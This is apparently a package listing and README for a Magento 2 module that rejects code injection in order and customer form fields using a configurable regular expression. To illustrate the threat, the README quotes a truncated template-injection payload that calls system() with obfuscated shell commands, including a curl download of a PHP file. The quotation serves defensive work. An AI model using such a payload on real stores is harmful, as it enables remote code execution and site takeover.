wapone/module-input-fields-validator
最新稳定版本:1.2.0
Composer 安装命令:
composer require wapone/module-input-fields-validator
包简介
Custom Magento 2 module for input fields validation.
README 文档
README
Extension description
Disallow random code injection in Magento 2 forms trough API or WEB requests for: Order Creation, Customer Creation, Customer Name Update, Customer Address Update
Random code like:
{{var this.getTemp lateFil ter().filt er(order)}} {{var this.getTemp lateFil ter().add AfterFil terCallb ack(system).Fil ter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}cache.php${IFS....
The rejection mechanism is based on a configurable regular expression.
The default regular expression is '/[{}<>%]/' to reject characters like: { } < > %
It is also possible to configure a limit of characters to use only for the firstname and lastname fields validation.
Configurations
Configuration Section
- Enable: enable/disable module;
- Regular Expression: the regular expression to reject input values;
- Characters Limit: the limit of characters to use only for the firstname and lastname fields validation;
- Region Fields Validation: enable/disable the validation of region fields.
Notifications Section
- Enable invalidation fields results notification: enable/disable invalidation fields results notification;
- Email addresses for invalidation fields results notification: Email addresses to receive invalidation fields results.
Notification
The extension provides the possibility to email to configurable addresses at the end of process to notify the invalidation fields results.
Logs
The log file is in the path: /var/log/wapone_input_fields_validator.log
Installation Using Composer (recommended)
composer require wapone/module-input-fields-validator
Contribution
Forked from bafmaamy/Magento-FieldValidator.
统计信息
- 总下载量: 499
- 月度下载量: 0
- 日度下载量: 0
- 收藏数: 2
- 点击次数: 0
- 依赖项目数: 0
- 推荐数: 0
其他信息
- 授权协议: OSL-3.0
- 更新时间: 2024-08-21